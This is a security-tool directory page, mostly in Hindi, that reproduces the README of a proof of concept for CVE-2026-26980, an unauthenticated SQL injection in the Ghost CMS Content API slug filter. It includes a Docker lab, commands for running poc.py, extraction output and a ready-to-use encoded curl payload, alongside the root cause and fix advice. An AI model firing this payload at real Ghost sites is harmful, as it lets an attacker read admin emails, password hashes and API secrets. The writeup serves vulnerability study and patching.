Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-26980 — Python PoC और Docker लैब जो TryGhost Ghost CMS Content API slug फ़िल्टर में unauthenticated SQL injection प्रदर्शित करता है, boolean oracle के माध्यम से database मान निकालता है। | Kitploit
उपकरण/GitHubGitHub/yym8538/cve-2026-26980
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षाडेटाबेस सुरक्षालैब और अभ्यास
GitHubyym8538/cve-2026-26980

CVE-2026-26980

Python PoC और Docker लैब जो TryGhost Ghost CMS Content API slug फ़िल्टर में unauthenticated SQL injection प्रदर्शित करता है, boolean oracle के माध्यम से database मान निकालता है।

11 महीना पहलेअभी तक समीक्षित नहीं
रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-26980

★ CVE-2026-26980 TryGhost Ghost CMS Content API SQL Injection PoC ★

https://github.com/user-attachments/assets/e7fab29e-8382-4ecc-986c-68852c28a32c


अवलोकन

CVE-2026-26980, TryGhost Ghost CMS Content API में एक अनधिकृत SQL Injection कमजोरी है। कमजोर पथ सार्वजनिक Content API फ़िल्टर हैंडलिंग लॉजिक के माध्यम से पहुँचा जा सकता है जब slug:[...] ऑर्डरिंग को प्रोसेस किया जाता है।

यह PoC एक नियंत्रित Ghost 6.19.0 लैब बनाता है और प्रदर्शित करता है कि कैसे एक सार्वजनिक Content API अनुरोध को boolean-आधारित डेटाबेस रीड प्रिमिटिव में बदला जा सकता है।


प्रभावित संस्करण

उत्पादप्रभावित संस्करणठीक किया गया संस्करणकमजोरी का प्रकार
TryGhost Ghost CMS>= 3.24.0, < 6.19.16.19.1SQL Injection

लैब वातावरण Ghost 6.19.0 का उपयोग करता है।


लैब सेटअप

Docker का उपयोग करके कमजोर Ghost CMS वातावरण बनाएँ और चलाएँ:

docker build -t cve-2026-26980 .
docker run --rm -d -p 9102:9102 --name cve-2026-26980 cve-2026-26980

उदाहरण:

http://127.0.0.1:9102/
image

लैब पोर्ट 9102 पर एक वास्तविक कमजोर Ghost 6.19.0 इंस्टेंस चलाता है।

लैब Content API कुंजी है:

EQSTLab299

विवरण

CVE-2026-26980 : TryGhost Ghost CMS Content API SQL Injection कमजोरी

description: TryGhost Ghost CMS में 6.19.1 से पहले की एक SQL injection कमजोरी एक अनधिकृत हमलावर को, जिसके पास सार्वजनिक Content API कुंजी तक पहुँच है, Content API फ़िल्टर पैरामीटर के माध्यम से मनमाने डेटाबेस मानों को पढ़ने की अनुमति देती है। यह समस्या slug:[...] फ़िल्टर ऑर्डरिंग पथ में होती है, जहाँ उपयोगकर्ता-नियंत्रित slug मानों को उचित पैरामीटर बाइंडिंग के बिना कच्चे SQL में डाला जाता है।

Ghost Content API कुंजियाँ आमतौर पर डिज़ाइन के अनुसार थीम, सर्च, पोर्टल, या फ्रंटएंड JavaScript के माध्यम से ब्राउज़रों को उजागर की जाती हैं। इसका मतलब है कि कमजोर पथ Ghost Admin प्रमाणीकरण के बिना पहुँचा जा सकता है।


उपयोग कैसे करें

Git clone

git clone https://github.com/EQSTLab/CVE-2026-26980.git
cd CVE-2026-26980

कमांड

python3 poc.py --url [Target]

वैकल्पिक कस्टम Content API कुंजी:

python3 poc.py --url [Target] --key [Content API Key]

उदाहरण

python3 poc.py --url [Target]
python3 poc.py --url [Target] --key EQSTLab299

[Target] उदाहरण: http://127.0.0.1:9102

आउटपुट

========================================================================
Ghost CMS - Unauthenticated SQLi Data Extraction
========================================================================
Target:                      [Target]
API Key:                     [Content API Key]
Endpoint:                    Content API (public, no auth)

[*] Calibrating oracle... OK

[*] Phase 1: Recon (fast checks)
  length(users.email) = 17
  length(users.password) = 60
  count(settings) (3 chars): 110
  count(users) (1 chars): 1
  count(api_keys) (1 chars): 9

[*] Phase 2: Extracting values
Admin email (17 chars): [email protected]
Admin name (5 chars): Ghost
Admin API key ID (24 chars): <redacted>
Admin API secret (64 chars): <redacted>

[*] Phase 3: DB snapshot
Result:                      DB read primitive confirmed

सार्वजनिक PoC लैब-सुरक्षित डेटाबेस मेटाडेटा और Ghost API कुंजी सामग्री निकालकर डेटाबेस रीड प्रभाव प्रदर्शित करता है। यह चैलेंज फ्लैग प्रिंट नहीं करता है।


विश्लेषण

कमजोर बिंदु

GET /ghost/api/content/tags/?key=[Content API Key]&filter=slug:[...]

कमजोर लॉजिक Ghost के Content API इनपुट सीरियलाइज़ेशन पथ में slug:[...] फ़िल्टर के लिए मौजूद है। Ghost लिस्ट-शैली slug फ़िल्टर का समर्थन करता है और अनुरोधित slug क्रम को एक ORDER BY CASE एक्सप्रेशन उत्पन्न करके संरक्षित करता है।

कमजोर संस्करणों में, उपयोगकर्ता-नियंत्रित slug मानों को एक SQL फ्रैगमेंट में डाला जाता है। एक सरलीकृत कमजोर पैटर्न है:

for (const [index, slug] of slugs.entries()) {
    order.push(`WHEN \`${tableName}\`.\`slug\` = '${slug}' THEN ${index}`);
}

चूँकि slug हमलावर-नियंत्रित है और पैरामीटर बाइंडिंग के बिना SQL स्ट्रिंग में डाला जाता है, एक तैयार किया गया Content API फ़िल्टर इच्छित तुलना से बाहर निकल सकता है और अतिरिक्त SQL लॉजिक इंजेक्ट कर सकता है।

एक्सप्लॉइट लॉजिक

लैब PoC दो सार्वजनिक टैग, bacon और chorizo, को एक अवलोकनीय boolean oracle के रूप में उपयोग करता है।

  • यदि इंजेक्ट की गई SQL शर्त सत्य है, तो bacon पहले क्रमबद्ध होता है।
  • यदि इंजेक्ट की गई SQL शर्त असत्य है, तो chorizo पहले क्रमबद्ध होता है।

विभिन्न SQL शर्तों के साथ इस परीक्षण को दोहराकर, PoC एक बार में एक अक्षर डेटाबेस मानों का अनुमान लगा सकता है।

curl के साथ Boolean oracle जाँच:

curl -s "[Target]/ghost/api/content/tags/?key=EQSTLab299&filter=slug%3A%5B%27%2F%2A%2A%2FAND%2F%2A%2A%2F0%2F%2A%2A%2FTHEN%2F%2A%2A%2F99%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D5%2F%2A%2A%2FTHEN%2F%2A%2A%2F%28SELECT+CASE+WHEN+1%3D1+THEN+0+ELSE+2+END%29%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D7%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FWHEN%2F%2A%2A%2F0%2F%2A%2A%2FOR%2F%2A%2A%2F%27%2Cchorizo%2Cbacon%5D"

मूल कारण

मूल कारण उपयोगकर्ता-नियंत्रित slug मानों से एक SQL ORDER BY CASE फ्रैगमेंट का असुरक्षित निर्माण है। कमजोर कोड Content API प्रतिक्रिया क्रम को संरक्षित करने का प्रयास करता है, लेकिन यह पार्स किए गए NQL फ़िल्टर मानों को विश्वसनीय SQL टेक्स्ट मानता है।

एक मजबूत फिक्स को चाहिए:

  • उपयोगकर्ता-नियंत्रित slug मानों को SQL स्ट्रिंग्स में इंटरपोलेट करने से बचें
  • प्रत्येक slug मान के लिए पैरामीटर बाइंडिंग का उपयोग करें
  • फ़िल्टर मानों को कच्चे SQL में बदले बिना क्रम संरक्षित करें
  • NQL पार्सिंग को SQL निर्माण से अलग रखें

Ghost ने इस समस्या को 6.19.1 में कच्चे इंटरपोलेशन को पैरामीटरयुक्त क्वेरी बाइंडिंग्स से बदलकर ठीक किया।

प्रभाव

यह एक CWE-89: Improper Neutralization of Special Elements used in an SQL Command समस्या है।

चूँकि Ghost Content API जानबूझकर सार्वजनिक है, यह कमजोरी एक अनधिकृत हमलावर को एक सार्वजनिक कंटेंट एंडपॉइंट के माध्यम से डेटाबेस रीड प्रिमिटिव बनाने की अनुमति दे सकती है। डेटाबेस सामग्री और अनुमतियों के आधार पर, एक हमलावर निम्न करने में सक्षम हो सकता है:

  • डेटाबेस टेबल मेटाडेटा की गणना करना
  • साइट कॉन्फ़िगरेशन मान पढ़ना
  • उपयोगकर्ता टेबल फ़ील्ड पढ़ना
  • API कुंजी रिकॉर्ड पढ़ना
  • Ghost डेटाबेस में संग्रहीत निजी एप्लिकेशन डेटा निकालना

परिदृश्य

+-------------------------------------------+
|              Remote Attacker              |
+-------------------------------------------+
                      |
                      | GET /ghost/api/content/tags/
                      | filter = slug:[<SQLi payload>,chorizo,bacon]
                      v
+-------------------------------------------+
|          Ghost Public Content API          |
+-------------------------------------------+
                      |
                      | Unsafe slug order SQL construction
                      v
+-------------------------------------------+
|        ORDER BY CASE SQL Injection         |
+-------------------------------------------+
                      |
                      | Boolean difference in tag ordering
                      v
+-------------------------------------------+
|          Unauthenticated DB Read           |
+-------------------------------------------+

लैब नोट्स

यह लैब एक न्यूनतम मॉक सर्वर के बजाय एक वास्तविक कमजोर Ghost 6.19.0 इंस्टेंस चलाता है।

लैब सीड करता है:

  • एक सार्वजनिक Content API कुंजी: EQSTLab299
  • दो oracle टैग: bacon, chorizo
  • EQST Lab ब्रांडिंग और नमूना ब्लॉग सामग्री
  • Ghost SQLite डेटाबेस में एक डिस्पोज़ेबल निजी चैलेंज मान

सार्वजनिक poc.py डेमो वीडियो और सार्वजनिक राइटअप के लिए डिज़ाइन किया गया है। यह चैलेंज फ्लैग प्रिंट किए बिना SQL injection प्रभाव दिखाता है।


टूल डाउनलोड करें